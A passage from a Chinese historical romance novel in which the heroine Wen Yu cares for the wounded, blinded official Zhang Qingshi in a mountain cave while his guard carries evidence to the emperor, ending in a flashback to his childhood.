“你们得以大局为重,现在,就速速将证据带走,再一并呈上给陛下。”
他的性命与百姓安全相比根本就不值一提。
“这……”凌侍卫犹疑住了,守护郎君十几余载,他也早已耳濡目染,早将民生奉为人生大事。
若将民生与自己的性命想比,那定是民生为重。
但民生和郎君的性命孰轻孰重,他内心确确实实判断不了。
他手紧紧抓着膝盖上的衣襟,低着头像哑了样说不出话来。
可本该一同拒绝的温玉却突然在一旁支持道:“郎君说的对,百姓是最为重要的,凌侍卫,你就别再让郎君忧心,快去送证据吧。”
“啊?你……”凌侍卫诧异地抬了抬头,明明两人先前还是同一战线的,“可郎君怎么办?”
“我会留下来照顾郎君。”温玉语气坚决道,“你不会伺候人,有我在,郎君身体肯定会恢复很快的。”
“可如果有追兵发现,你们当如何?”凌侍卫忧心道,他怎么能留两个手无缚鸡之力的人待在此处白白等死?
“无碍的。”温玉垂眸冷静道,“追兵发现我们的速度肯定没那么快,且你一个人行走的速度比带着我还快。你离开此地先找焦郎君和袁氏娘子帮忙来接我们后就可带着证据去呈递给陛下。
这样一来你就不用担心郎君受到伤害,如果敌人抢先一步过来了,我将会用我的性命护着郎君到最后的!”
“可……你……”
凌侍卫又想起温玉是卧底来着,很是不放心将郎君交于她,但对上她那双坚毅又无畏的眼神时,所有的怀疑转瞬间都在这一刻消失了。
不管怎样,她的方法的确是最好的选择。
且郎君也十分信任她,不然也不会选择让他带她走。
凌侍卫认真地看了温玉十余秒后,从怀里掏出一把短剑递给她,低声道:“保护好郎君!”
随即,他在地上给张清时磕了一头,神情十分庄严道:“郎君,等我回来!”
然后,他的背影就消逝在这洞穴外的这一方天地了。
“温玉,你为何不离开?”
张清时问道,她明明可以有更好的选择,没必要陪他等死。
“温玉说过,温玉想帮助郎君。”
温玉回答道,然后从自己破烂的衣裙撕下一条白布系在郎君眼上。
他的眼睛受了伤,不能再进些脏物或者是被阳光直射了。
张清时看不见,只能感受温玉的气息在靠近,然后再是那双轻柔的手轻轻地给他系着布条。
“咳咳咳,温玉……我说过我不需要你帮忙的。”
在系好的时候,他偏了偏头,似在躲避些什么。
温玉听惯了他这种说辞,早已不在意,开始认真关注郎君当下的身体情况:
“郎君,你衣服被雨水淋湿了,要不——我给你脱下晾干?”
“啊?不……不用。”
张清时裹紧了衣服,他怎么能大庭广众之下在一女子面前脱衣,这有辱她人清白。
“可是郎君你这样明天会生病的。”温玉好意提醒道。
“无妨,我身体还行。”
“咳咳咳!”
刚说完自己身体不错的人又猛地咳了起来。
温玉知道郎君最在乎行为举止得体,便也没跟他犟着,轻声问:“那郎君要不要喝水?”
“我可以自己取的。”张清时点了点头,手指在地上摩挲着,欲要起身。
“郎君!”温玉一把按下张清时,微微有些生气道,“你…再拒绝我,我就…我就…我就亲自将你的衣服给脱下来!”
闻言,张清时老老实实地不动了。
温玉这才放心的拿着大叶片去盛水,盛完水后再慢慢地喂他喝下。
张清时现在清醒过来,喝水也比刚才昏迷时喝得多些,但那沾染着星星血色苍白的脸蛋看着依然让人揪心。
温玉蹙着眉头想,该如何能让郎君早些恢复点以往清亮的神色呢?
草药这些她不太会弄,那在吃食上面呢?
总不能让郎君跟她一样啃叶子吧?
那肯定是不行!温玉猛烈地摇了摇头。
可这山林里除了树就是草,哪还有什么营养的东西?
温玉将张清时安抚坐下歇息后,边一脸忧虑地走在洞穴外张望着。
外面,刚刚还下的磅礴大雨已经慢慢转小,变成滴滴答答的小雨。
而灰蒙蒙的天空也突破出一丝亮光,成群的鸟儿从上方掠过。
或许可以打只鸟下来,温玉突发奇想,手中掂量了一下树枝后又放弃,因为她可真没那么大能耐。
不过跟着鸟群走,会不会能找到鸟蛋?温玉想,她也可以爬树的。
思衬过后,她决定还是冒险出发,毕竟她领了要照顾好郎君身体的任务。
人嘛!总是要说道做到的。
于是在回头关切地望了一眼张清时后,她就带着几根树枝和短刀出发了,出发前还是在洞穴门口堆满了树枝和草叶,用来做一点点掩饰。
由于心底还牵挂着郎君的安危,温玉出了洞穴后就紧紧追赶鸟群的方向,她几乎是拖着刚休整一夜好的腿在路上跑着。
跨过石头和断木,她一路都不停歇地追赶着那些鸟群。
可鸟群飞行的速度要比人快得多,追逐过程中害怕追不上的温玉心里就愈发焦急,视线也一刻不松地紧跟着鸟群,以至于还没跑了一小段路后,她就“扑通”一声摔倒在地。
石头和小草再一次割伤了她的手和腿。
她还没得及关心自己受伤,抬头一望,空中的那些鸟群竟无情地拍着翅膀飞远了。
她再也追赶不上了。
温玉这才感受到后知后觉地痛,她狠狠捶打了一下自己的腿,内疚于自己的没用。
可内疚过后,路还是要继续走的,温玉只能拍了拍身上灰继续往前走。
只要方向是对的,无论道路有多么险阻,都比呆在原路要好的多。
温玉是这么想的。
果然,在往前又继续走了一段距离后,她没有找到鸟群,却意外地听到流水拍打青石的声音。
看来这附近不远处有溪流,要是能找到溪流,去捉几条鱼来也是不错的选择。
随即,温玉调转方向,不去寻鸟群,而是依着声音去寻溪流。
听着潺潺流水声,温玉很快就来到一条清澈透亮的小溪旁。
刚下过雨后的小溪,犹如洗过一般干净清澈,温玉都能够清晰地见到水下是慢慢游动的小鱼和水底奇形怪状的小石。
这次她的树枝终于能派上用场了,温玉高高举起一根树枝,眼神紧盯着一条靠在岸边慢慢摇动的小鱼,然后下一秒,立刻将树枝往水面插去。
动作迅猛,激起一大片水花。
但高涨的水花退下后,却发现她插了个空。
怎么会?温玉不觉得是自己速度慢了或眼神不准的原因。
所以她又换了个方向站在岸边,撸起袖子,等待另一条小鱼靠近。
小
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溪的鱼看起来不少,可能是下过雨的原因,很多都浮在水面上。
温玉很快就寻到一个目标,待时机成熟,她又一个□□,激起来的水花洗她一脸,周围的鱼群也受到惊吓般离开。
温玉知道自己又没插到,泄气地想拿回树枝时,却发现树枝卡在石头缝里,抽不回来。
于是,温玉挽起裤腿,下水,双手握住树枝,再奋力往外一拨。
力度是够,树枝也成功拔出来了,可她却因力气过大,一下子人仰马翻地摔倒在岸边。
又弄得一身狼狈,温玉长叹了口气。
想这就此放弃时,又忽而想到烤鱼娇嫩美味的模样,又想到郎君那般虚弱的样子,她又“噌”地一声站了起来。
为了美味,为了郎君,她要继续战斗。
凭借着前几次失败的经验,温玉这次并不打算见鱼就插,而是使用预判的方式。
她插鱼一般是有特定位置,等鱼一到就插,所以这次她等鱼有往那边有游动的想法时或接近时,她再刚刚举起树枝,往那一插。
果不其然,下一瞬,这个方法就让她成功捕捉到一条小鱼。
尽管那鱼疯狂摇动着溪水扑在她脸上,她也是喜悦的,这下郎君有鱼吃了!
借着这个方法,温玉陆陆续续在小溪边捕获了五六只鱼,惹得浮在水面上的小鱼都竞相钻到溪底里去。
温玉擦了擦汗,决定不插鱼了,因为这几条足够她和郎君吃个两日了。
再者,出来的时间有点久,她很担心郎君会因此出现什么意外,所以她就将这几条滑溜溜的小鱼一同抱入怀中,然后一顿小跑地赶回洞穴。
到洞穴时,张清时眼睛系着布条,温玉也不知道他是睡着还是没睡着。
便将鱼放下后蹑手蹑脚地走至郎君身边,小心翼翼地将手指伸向郎君的鼻底。
可还未触及,手指就被张清时一把握住,他皱着眉问道:“温玉?”
“是我,郎君。”温玉松了口气,原来郎君没事。
而张清时也松开了手,得知是温玉后眉头也从紧皱变得平缓起来,问道:“温玉,你去哪了?”
“郎君,我去给你捉鱼去了,好让你养好身子。”
说着,温玉就牵着郎君的手去抚摸皮肤滑嫩的鱼。
郎君不能看见,只能让他这样来感受了。
“温玉……,谢谢!”
张清时谢道,他本想说不让温玉为他做这么多的,可自己眼又瞎,身子又虚,好像无论让温玉做什么,都是对自己莫大的帮助。
自己一直在无声地接受,却又怎能在表面上一直冷面拒绝人家呢?
于是话到嘴边变成了一句感谢。
外加一句关心:“捉鱼,你没受伤吧?”
“没,温玉好着呢。”
温玉感受到郎君的关心,原先的疲惫感一扫而空,但为了不让郎君过度牵挂,她继续牵引着郎君的手放在自己的脸上、脖子上、手臂上……
“郎君,你看温玉好着呢!”
“温……温玉!”
张清时在触碰到那细腻的肌肤时已经察觉不对劲,一边制止,一边像被烫着一样立马缩回了手。
“温玉,男…男女有别,不可与人这般亲近。”
“这样也不行吗?”
温玉问道,她没有觉得这是个很过分的动作,因为她只是想让郎君知道自己没事不要担忧而已。
再加上,如果是郎君碰她的话,她很喜欢这样的感受。
“这样也不行,温玉,男女有别,我们和他人相处时都需要保持一定的距离,这是社交该有的基本礼仪。”
张清时正色教导着,而温玉只是似懂非懂地“奥”了一声后便去处理鱼去了。
将鱼插上树枝,然后放火堆上烤着。
火焰噼里啪啦地响着,温玉却觉得刚才郎君说的话不对。
向来只有不熟或者老死不相往来的人才会保持着一定的距离,而处于一段亲密关系中的人好像就不用。
就比如,像兄妹、姐弟、亲人那种。
再者是朋友那种。
亦或是——情人那种。
像袁氏娘子和焦郎君那样。
温玉想,郎君再怎么总不可能和自己是不熟的关系吧?
那他们是什么关系?
想着想着,温玉烤着鱼都把自己脸都烤红了。
38. 东州18
火焰烧得很猛,一小会儿就把鱼儿烤熟了。温玉烤的手法也很不错,小鱼儿两面既没有被烤焦的地方也没有不熟的地方。
反而是外酥里嫩,焦香四溢。
馋的温玉都不自住地咽了好几下口水,不过她还是想把第一口留给张郎君。
“郎君,鱼烤好啦,你尝尝?”
温玉特地对着鱼吹了好几口,吹着开样子凉了才递到张清时的嘴边。
其实小鱼儿的香气早已钻到张清时的鼻子里,勾引着他的味蕾,但他还是很能克制自己的欲望,将那串鱼的树枝推向了温玉的一边:
“你先吃吧,温玉。”
“我吃过啦,郎君。”温玉推脱道,她要是跟郎君谦让的话,估计能谦让一个晚上。
“你…确定没说谎?”
张清时虽眼睛瞎了,耳但朵又没失灵,刚才一段时间内他的确是没有听到温玉有发出吃声音的东西。
他比较倾向于温玉是为了让他先吃才这么说。
反而温玉却笑了起来,有理有据地解释道:
“烧火声那么大,郎君,你怎么会听得见?”
她其实有一起烤着两条鱼,但不过是第一条鱼先烤好,她还是想着让郎君先第一口品尝到美味。
如果得到很高的反馈,这也算是能够满足她这个“烤鱼匠”一点点小小的成就感吧。
见温玉解释的合理,张清时也没有再推脱,接过树枝,小小的啃咬了一块,顿时觉得鲜美极了,这几日奔波劳碌之苦也一扫而空了许多。
他由衷地对温玉夸赞道:“做的很美味,谢谢你温玉。”
“不用谢,哈哈哈。”
温玉此时像极了一个第一次得到夸奖的孩子,挠挠头有些不好意思。
“郎君,你喜欢就好啦。”
“嗯,我很喜欢。”
张清时又咬了一口小鱼,鱼肉丝丝焦嫩外还带着来自清澈溪水中的鲜甜。
他不禁想,温玉是不是跑到很远的地方去捉这条鱼,捉鱼的时候是不是费了很大力气,她有没有受伤?
她怎能为自己付出这么多?
自己又何值得她付出这么多?
思虑良久,他停下吃鱼,轻和地向温玉开口问道:“温玉,你有什么想要的东西吗?或许,如果我们都能够活着回去的话,我可以帮你实现。”
“郎君,怎么会突然问这个?”
温玉反问道,她的那份烤鱼也烤的差不多了,她深深嗅了一口气后张口就吃了起来,似乎没将张清时这个问题放在心上。
于是张清时又问了一遍:“温玉,你……难道没有什么所求之物吗?”
人性如此,若是没有深厚的情谊,怎会甘愿为人付心于此。
更何况温玉还是卧底,他还没问她为什么会出现在这。
是无意还是有意为之?
听郎君这么一说,温玉又咬下一大块鱼肉,边吃边想。
她想要什么?
莫不就是母亲平平安安,自己身心自在,郎君安然无恙就好。
不过——这样简单的所求,也不好让郎君帮自己实现吧。
母亲和她是陈府中人,要是被郎君知晓,岂能容她们在这里安详存在?
那还是只所求一个吧。
温玉垂眸道:“温玉只求能一直守护在郎君身边就好。”
尽自己力守护他无恙。
张清时听她所言,并非为虚,但也全非是实话。
她如果不想说的话,那也不必为难。
他已然找到整个青州和东州犯罪的证据链,到时候将他们全都捉入大牢后,他有办法审问让他们开口。
如果温玉真做了一样犯罪的事情,他能予以回报的也就只能是上书减轻她的责罚,不至于被判死刑和流放。
想到这,他深深叹了一口气,可能她也是被逼不得已才走上这条不归路。
而一旁的温玉全心致志地啃鱼,完全不知道张郎君此时所想。
不过见郎君叹口气后,以为他是在忧伤能不能活着出去这件事,便立刻放下她所喜欢的烤鱼,转头又安慰起郎君来:
“郎君,不用担心,我们一定能活着出去的。”
“郎君,我应该还没有同你讲我为何会出现此处的吧?”
这件事温玉刻意提及,张清时点了点头示意道:“我也想知道你为何会出现于此?”
虽然那是一段不痛苦的回忆,但为了能宽慰郎君,温玉还是乐意将这件事讲给他听:
“此事……说来话长,郎君。”
“本来温玉很听你的话,好好呆在焦府哪也不去的。”
“可是……就是那个莫云炜,他却一直纠缠我,一直想娶我为妻,三番五次来找茬也就算了。
可是这次他竟然买通焦府里做饭的嬷嬷,将我迷晕,然后带着我离开焦府的。
我醒来后——就…半路趁他们不注意跳下车逃跑,我也是在逃跑的路上才寻到此处的。”
“但是,温玉以为呆在这会被莫云炜找到带走,却没想到还能再一次见到郎君你。
所以说,郎君,这算不算大难之后必有后福呀?”
不知道郎君怎么想,但温玉始终觉得能遇见郎君就是莫大的幸运,有郎君在身边,她对生活的勇气和希望都加倍获得了支撑。
“而郎君你虽已遭遇人生不幸,但这已经过去,不应该久忧在心中,应该要往前看。”
“毕竟——我们的福气在后头呢!”
“我们也一定能活着回青州的!”
说着,温玉就举起烤鱼向张清时挥舞着打气,虽然知道郎君看不见,但她是从心底里希望郎君能快快开心起来,快快地好起来!
“嗯,会的,一定会的。”
张清时也重重点头附和道,他似乎能感受到温玉在说这话时的天真模样,她的眼睛和别人的很不一样,总是透着一股纯净,仿佛能够净化一切不愉快之事。
她在想着法安慰自己,可偏偏这个时候他却依然对她充满猜忌。
她吃了那么多苦头,却一笔带过。
安慰自己的话,却是长篇大论,发自肺腑。
张清时想,温玉是被迫加入坏人阵营,且从未干过一件带有实质性伤害他人的事,还心怀热忱。
她或许不应该承受入狱之重责,她需要的是更好地指导和教育。
而能够教育和保护她的人,张清时决定在向陛下陈述实情时主动申请,也算是还她一份恩情。
思绪结一下被解开,张清时神色也舒缓了很多,还很认真地向温玉征得她的意见:
“温玉,如果出去以后,我许你自由,你还会选择继续跟着我吗?”
“怎么好端端地又说这个?”
温玉不解地问道,难道是郎君出了此处又要做下一个更危险的任务,而又要给自己寻个好去处吗?
可是金窝银窝哪有自己的“狗窝”好?
郎君为何总是要抛弃自己?
温玉咬了一大口鱼肉,略微有些生气道:“郎君,温玉说过了,温玉想一直陪在郎君身边,哪也不去,郎君别总想着——”
“好!”
张清时这次出乎意料地打断了温玉说话,而且还独独说了个“好”字。
好什么?
温玉不由地去意会郎君说的这个“好”字的意味。
难道是说郎君再也不会抛下她一个人?不管任何时候发生任何事情都会带上她?
想着想着,少女的一份喜悦跃然于脸上,手上的那条鱼除了鱼和溪水的味道,还偷然夹杂了一丝甜。
一丝像糖葫芦的甜!
虽然张清时此刻并不知晓他这句话后能够给温玉带来多少欢喜,但他的心底已然跟着有些悸动。
*
愁人绵长的雨滴已经落完,灰色的云层已然散去,接踵而至的便是那红彤彤的晚霞,给整个山林间都染上了一层别样的色彩。
是暖橘色的微光夹杂着一丝玫瑰色的轻纱。
傍晚时刻悄然来临,惬意的氛围中温玉才察觉起要思考着晚上两个人如何歇息的这个问题。
郎君身体娇贵且还虚弱着,温玉总不至于让郎君和她一起睡在这种冰凉冷硬的地面上面吧。
看着洞穴外的漫卷云舒,层林尽染,温玉决定要亲手给郎君制一张“床”。
毕竟这山林里最不缺的就是石头和树,而树上最不缺的是什么?
是树叶!
因此,温玉便随意跟郎君寻了个摘果子的由头转身去洞穴外的一颗大树上摘树叶。
这树置于洞穴外有好几颗,温玉虽不知道树名是什么,只知道在树脚下捡的那几片落叶质地柔软,用来铺床想来也很舒适。
且这树不高不矮不胖不瘦,刚好也适合攀爬。
于是温玉又一次挽起袖子,两手抱住粗壮的树臂,然后两脚一蹬,再双腿一夹,她就活像个树懒挂在树上。
野外没有工具,她只能借着腿部的力量,一点一点爬到树梢上,然后再轻轻地摇晃,新鲜的落叶就纷纷扬扬地洒在地上。
继而,温玉转身又换了根树梢,再摇晃,直至地上铺盖了一层厚厚的红色地毯,温玉才从树上慢慢下来。
双脚踩在这“地毯”上有浓浓的舒适感,温玉想这些应该就足够了,然后她开始一捧一捧接力地把它们都带回洞穴。
起初张清时真以为温玉是摘到果子回来了,可她却往往复复很多次,步履匆忙,也不知道在忙些什么。
于是趁她又出去的时间,他准备摸索着起身。
可在茫茫黑暗中,他却突然找不到支撑点,手指干硬地抓着地面,怎么也起不了身。
原以为失明顶多是看不见人的面容和物的色彩,没想到连身体的机能和灵敏也跟着丧失。
张清时心底默默多了份丧气,可尽管这样,他还是选择很坦然地去面对。
或许是圣贤书读多的缘故,他并不会觉得身体的残缺能影响他什么,他向来都是如此,从逆境中逢生。
生为庶子,凭借着聪慧被选上太子伴读。
苦读寒窗十年,考取进士。
当官也是从跑腿官吏一步步勤勉建功到达刺史这一职位。
他一直都是从苦中走来,所以失明,他也觉得自己能克服,丝毫不会耽误他自己对“忠君报国”的追求。
于是这次,他也愿意尝试去努力。
如果“直接”站不起来,那他可以手在地上找各个方向的支撑点,直到找到能将他身体支撑起来的方向。
借着那个方向,他微微支撑起一点上身空间,接着他将膝盖抵在地上,借着膝盖的力,他成功支起了上半身。
然后再将手摸索着放在岩壁上,手用力抓住那些突出的石块,在它们支撑下,张清时这才成功地慢慢从地上站了起来。
可还微松口气,站起来时比地面更少了支撑物,所以那一瞬间,铺天的失衡感和虚无感紧紧包裹着他全身。
他看不见,摸不着,只能伸手在空中挥舞,企图想抓些什么。
可什么也抓不到。
仿佛置于深渊的深处,无穷无尽地陷入一个下坠的空间。
他身体微颤,开始摇摇晃晃,像风中摇曳的枯叶,始终都有下坠的一刻。
他努力想保持平衡,可事情愈想愈陷入一个糟糕的境界,最终抵不过失衡感,他往地下坠去。
好在,在落叶终将落地的那一刻。
有一双手接住了他。
他几乎是全身倒在一个小小的但又温暖的怀抱里。
“对……对不起。”
张清时满心歉意,他觉得他给温玉制造了麻烦,实在是对不住,所以立刻慌忙地起身。
可他唯一支撑的是她的身子,又没有任何的支撑物,他又不会选择去借此机会去碰她。
于是他所有的举动都成了徒劳。
好在,下一秒,温玉的声音像那轻柔的微风,抚平了他内心的焦躁和抑郁。
“郎君,我帮你!”
说着,温玉慢慢挪开了身子,仅用手去扶着他的手臂。
让他慢慢保持平衡,找回他失去的失衡感。
然后再牵引着他往前走。
他举步维艰,她就耐心等待。
他成功迈出一小步,她就笑着夸奖:
“郎君,很棒,我们再尝试一下。”
在温玉的一
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声声鼓励下,张清时好像慢慢找回那个失明前的自己。
脚步迈的愈来愈有感觉,愈来愈自信。
慢慢的,已然恢复到往常正常的迈步动作和速度。
这时,温玉再松开手,让他尝试着自己一个人走。
虽然当支撑被撤走时,恐惧感和虚无感已然紧紧相随,但他心中好像多了一个无形的支撑物。
支撑着他的内心,让他用力量有方向去迈步。
他深吸一口气,抛弃那些杂念,咬一咬牙,成功地迈出了他的第一步。
然后接着是第二步,第三步,第四步……
终于他从岩石璧的一端走到了另一端,他心底的喜悦加上信念彻底战胜了丧气,他激动地朝一个方向看去,欣喜道:
“温玉,我做到了。”
“是的,郎君,你做到了。”
温玉同样脸上也浮现了笑意,郎君一如既往地都很厉害,失去那双眼睛仿佛也不算什么。
最重要的是他能有突破困境,重新做回自己的勇气。
接着,张清时已经可以畅通无阻地在这洞穴内直行,还能通过各种声音判断它的方向。
像是五感失去了一感后,其他感觉都得到了倍的加强。
继而,他还能避开篝火走到温玉面前,脚上却踩到了不属于此地的树叶。
“温玉,你搬怎么多树叶是要做什么?”
张清时好奇地问,凭借脚踩的厚度,他能感觉得出这里的树叶很多,想来也是温玉来往搬运多次的结果。
“郎君,这是…”
温玉思索着该如何把话说的能让张郎君接受她的好意。
“这不睡在地面上凉,温玉就拿了些树叶铺在地上,方便歇息。”
“嗯,那你歇息吧,我靠着墙就好。”
张清时挪开脚步,还弯下腰将他踩乱的地方抚平。
可他好像完全会错温玉的意思了,温玉紧跟着也蹲下身,赶忙朝他解释道:“不是,郎君,你睡这,我靠墙上就行。”
张清时拨弄树叶的手指停住,摇头拒绝道:“不用,我身子没那么差的。”
说完,不知是哪里的冷风一吹,好不容易平缓的咳意,又一次从胸间沿着喉咙迸发了出来。
“咳咳咳!”
温玉眉眼微微皱起,眼神里带着浓浓的担忧:“郎君,你就睡着,你要是再病着了,到时候……到时候凌侍卫带人过来救我们的时候,岂不是还要再照顾你?”
温玉故意抓住郎君不想麻烦别人这点来刺激他。
果然,张清时片刻间就犹豫了起来。
但他还是默默侧开脸,睫毛忽闪:“就算这样,可我还是不能接受。”
说完,张清时铺平他踩坏的那一角后就直起身子,转身要往别处走去。
下一瞬,他的衣袖就被人轻轻扯住。
“郎君,要不我们一起睡吧!”
温玉扯住他的袖子,轻声问道。
他受了重伤,奔波一路才来了这,先前又淋了雨,现在衣服都还是一副半干半湿的状态。
她担心他这样逞强下去,再病倒了可又如何?
“男…男女授受不亲的,我们不可这样。”
张清时面上虽绷紧了神色拒绝,但胸腔里的心脏却因她这句话狂跳不止。
是震惊中掺杂着紧张。
温玉知道郎君是为了各自的名声才拒绝,但她也不是说要和郎君搂搂抱抱睡在一块,便很坦然地向他解释道:“郎君,我的意思是我们一同睡在树叶上。我带回来的树叶很多,我们分两边睡就行。”
“这反正在和洞穴里睡是一样的。”
认真听完温玉的解释后,张清时才意识到自己不仅误会了温玉,还往那些不好的方向去想。
他简直是过于粗俗无礼,便转头又对着温玉来了一句:“抱歉,温玉。”
温玉以为张郎君这还要拒绝,又扯了一下他的袖子,略带委屈的语气:
“郎君,莫不是嫌弃温玉?”
“没…没有。”
张清时慌忙摆手否认道,他怎会有嫌弃温玉的想法,他刚刚只是嫌弃自己的想法。
“那……温玉就伺候郎君歇下吧。”
知道郎君不是这个意思,都不容张郎君继续回话,温玉就松开他的衣袖,小手转而搭上他的臂弯,贴着他肌肉的起伏慢慢地牵引着他往前走。
“郎君,这儿,你坐下去,再躺下就好。”
温玉耐心地带着张清时转身,先扶着他坐稳,然后一只手扶着他的肩膀往下躺,另一只手则垫在他的脑后。
直至他平稳地躺下,温玉才缓缓从他脑后撤出手。
可手撤出的时候,不不经意间好像蹭到张郎君的耳根,凭着洞穴里燃烧的火光,温玉很清晰地看见了他的耳根由白转红的瞬间。
没想到还有这种有趣的反应。
温玉情不自禁地偷笑了一声。
“温玉,你…你在笑什么?”
躺在树叶上的张清时很清晰地能够听见眼前人的笑声,他以为是自己躺下的姿势不够雅正惹了笑话,全然不知自己身体奇异的变化。
“郎君,没什么,只是——这是温玉是第一次见郎君这么听话。”
温玉捂住嘴遮挡了嘴角的笑意,她可不敢告诉郎君实话,这要是被他知道了,指不定脸会更红。
不过,这的确是郎君第一次听她的话,安安静静地躺在树叶上,像只被她捕捉到的小白兔。
而她伏在他的上方,带有侵略性姿势,心中难免想对他做些坏事。
而张清时置于她的下方,明确感受到上方有一双眼睛炽热地紧盯着自己。
虽然他明知道那是温玉,但他还是不由地紧张起来,手指紧紧摩挲着树叶,连呼吸也跟着紊乱。
所幸,温玉并没有做什么。
而是用手轻轻地拂去他脸庞上的缕缕青丝,随后也俯下身,对着他的耳旁悄悄道:
“郎君,祝你好眠。”
说完,温玉就在他的身侧躺了下来。
顷刻间,洞穴内所有声音都寂灭,唯有张清时胸腔里那颗心脏狂烈地跳动,发出一阵清晰巨大的“咚咚”声。
39. 东州19
清晨的金乌一扫昨日的阴云,氤氲着金色的光晕,从东边徐徐升起。
而那层光晕也透过树枝染在温玉的脸上,柔和地将她唤醒。
温玉揉揉眼睛,打着哈欠坐了起来。
要说前几日是因为劳累而睡得深沉,那昨夜这次便是睡得又香又安心,以至于早上起床的她格外的神情舒爽。
她伸了伸懒腰,不禁往身旁看去,说起来这份安心感还是靠郎君给的。
可当她眼神扫过去的时候,却发现了一丝异样。
郎君生活向来规律,从未赖过床,而今日却一直躺在地上,身子还紧紧蜷缩在一起,简直太不符合他往日行事。
该不会是……
一想到这,温玉内心开始害怕了起来,手搭在张清时的手臂上,一边轻轻地摇晃一边唤道:
“郎君,郎君,醒醒。”
“郎君,郎君?”
温玉连着叫好几声都郎君都还没有任何反应,但嘴巴微张,好像在说些什么?
温玉赶紧俯下身,侧耳倾听,依稀只听到他说着“好冷”、“好冷。”
虽是晚秋,但也没有到很冷的时候,且两人皆穿了两件衣裳,足以抵抗秋日的凉风。
可郎君却一直寒冷,莫不是得了寒热之症?
为验证心中想法,温玉接着将手贴在他的额头上,果真就被他较高的体温灼烫了一下。
再将手放在他身上,又是一种极寒的感觉。
这头热体冷,真是发了寒热。
温玉担忧地叹了口气,自己精心照料却还是让郎君着了凉,犯了病。
眼下又没有治病的草药,这可如何是好?
温玉焦急地想,视线却忽而停留在张郎君身上的那套黑色夜行衣。
昨日就淋湿了全身,叫郎君脱衣服烘干他也不听,这下好了,活给自己找罪受。
虽然温玉心有埋怨,但担忧挂切是真的。
她先从自身身上又撕下一块布条,然后再自制的“井”内取一叶水来,浸湿后再放在郎君滚烫的额头上,让他降降温,不至于把脑袋烧糊涂。
随后又小心翼翼地将手放在张清时的胸前的衣襟上,要给他脱衣。
事先声明,她才不是要趁这个机会占张郎君的便宜,只是这衣服他不能再穿了,得烘烤干了才能穿。
温玉这样在心中安慰自己后,手上的动作也大胆麻利了起来,把他身上的扣子一个一个解开,继而漏出他白花花结实的胸膛和紧实的腰腹。
看着温玉的心一紧,口水不自觉开始分泌,手还搭上去摸了一把。
“我…我在干什么?”
摸了一把后,温玉突然质问自己道,然后还生气地打了自己的手。
她怎么能在郎君这种时候馋他身子!!!
深刻反思检讨后,她干脆闭上了眼睛,将他的衣裳尽数褪去。
随后,又在树枝堆上升起了火,再用树枝简单搭起架子,将衣服放上面烘干。
不过温玉只脱了张郎君的上半身,还有……下半身没脱。
温玉想着还是不脱了吧,再脱她怕郎君醒后认为自己贞洁不保,自刎当场。
所以她就没接着再脱。
现在张郎君的上衣全被脱去,身上光秃秃一片,冷意更甚,浑身都打起了颤来。
温玉眼看着,心中瞬间焦急万分。
可现下可没有给供郎君换的衣服啊!
唯一能换的……
温玉低眉看着自身缺了好几个缺口的破烂外衫。
唯一能换的只有她身上的衣服。
可是这这这太过于奔放了些,之前的略显亲密的接触莫非就是手碰着手而已。
那还还将自己贴身衣物给男子穿?
温玉抿了抿唇,她不是不想给郎君穿,只是……只是世俗关于贞洁的观念禁锢住她的想法。
但郎君身子蜷缩在一起,嘴上痛苦的呢喃声不断。
一声一声地敲打着禁锢。
算了,反正也没人看见,她守着做什么?
温玉心一横,也脱去了自己的外衫,然后盖在了张郎君的身上。
张清时此时如重获一件温暖的衣物,就紧紧地把她的外衣包裹在自己的身上。
让温玉看着,喉咙都干涸起来。
她咽了好几下口水,又自个去喝了些水。
喝完水回来,张郎君的神色舒缓了不少,但嘴里还念着“好冷!好冷!”
怎么还冷?
温玉震惊,伸手又去摸了他的体温,还是凉凉的。
这不行啊?
还有没有取暖的方式?
温玉看着洞穴中央烧的正热的树枝,好奇着为什么这火气的温度入侵不了郎君的身体里面呢?
难道裤子也要换?
算了,都做到这份上了。
温玉想着尽然什么都做过了,那就继续做下去吧,毕竟都是大逆不道的一条。
于是她将一只手捂在自己的眼前,另一只手则隔着她的外衫悄然伸了下去。
温热的手臂在他的胸膛间摩擦,她的手指刚要碰上他的裤头时。
却被他另一只手反握住,然后一拉,她就硬生生跌在他的怀里。
两人闷哼一声。
紧接着,他就一个转身,大半个身子压了过来,然后双手将她牢牢抱住怀里,饶温玉如何挣脱也挣脱不了。
遭了,她怎么变成那个取暖的物品了?
温玉侧躺在张郎君的怀中,这还是她第一次如此近距离贴在他的肌肤上。
眼睫一眨一眨,都似乎是在骚动他的胸膛。
手臂微微一抬,就是在碰压他,然后他连喊冷的声音都不喊了,而是发出一种怪异的又好听的呢喃声。
温玉慌了神,根本不敢再动,怕郎君又生出什么其他怪病来。
朝阳初升直至日升中天,日光也由微弱变得炽热,张郎君和温玉两人间的温度也随之悄然攀升。但张郎君还未醒,反倒是温玉在这暖烘烘的环境下,眼皮抵不住阳光照射,终而也沉了下去。
两人睡得深沉且惬意,但日光依旧在炙烤着大地,温度持续上升。
许是光线问题,躺在树叶上的张清时大脑一片混沌中突然直射进一道阳光。
正驱赶着黑暗,一副光景逐渐铺开。
张清时仿佛再次置身于竞选为太子陪读的前日。
那时选太子陪读的初筛条件是需要想自愿申请的每个官宦子弟都各写一篇文章,不受限于任何主题和体裁,想写什么就能写什么。
写完后再统一交于太师手中过目,由他亲自评定,然后钦点文采过人的人入选。
张清时虽为庶子,但也同为世家子弟,任凭正室娘子李氏如何阻挠,他的父亲张闻也会顾忌自己的名声让张清时读书识字和参加竞选。
不过,年少的张清时并不想参加竞选,因为这样做会惹恼李氏。惹恼李氏,不仅他自己,还有他身边的一众丫鬟和小侍都要受刁难。
可奶娘嬷嬷却劝说道:“二郎君,如果你不参加此次竞选,我们将会永远被踩在李娘子脚下,连一点希望的未来都不能看见,你想一直过这样的生活吗?”
张家世族大家,却不知这庶郎在
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这院落中吃不饱穿不暖,府内的李娘子他们的丫鬟和侍从都比他高一头。
张清时自然是不想继续过这样的日子,但他也未曾幻想过未来的日子,不知是好还是坏。
小时候的内心本能地犹豫,未有回答。
见状,奶娘嬷嬷便继续苦口婆心道:“二郎君,我知道你害怕明天的路。但我或许可以告诉你,未来的确不会比现在的路更简单。
但唯有一点不同,身在张府你会受李娘子处处摆布,而在外面,你则有多条路可以选择,你完全可以自主选择你想要过的生活,想要成为的人。”
“自主选择”这个词张清时只有在书本上见过,觉得甚是遥远。可当它现在真真切切置于眼前时,又觉迷离恍惚。
“不管怎样,你都要先试试,二郎君。”
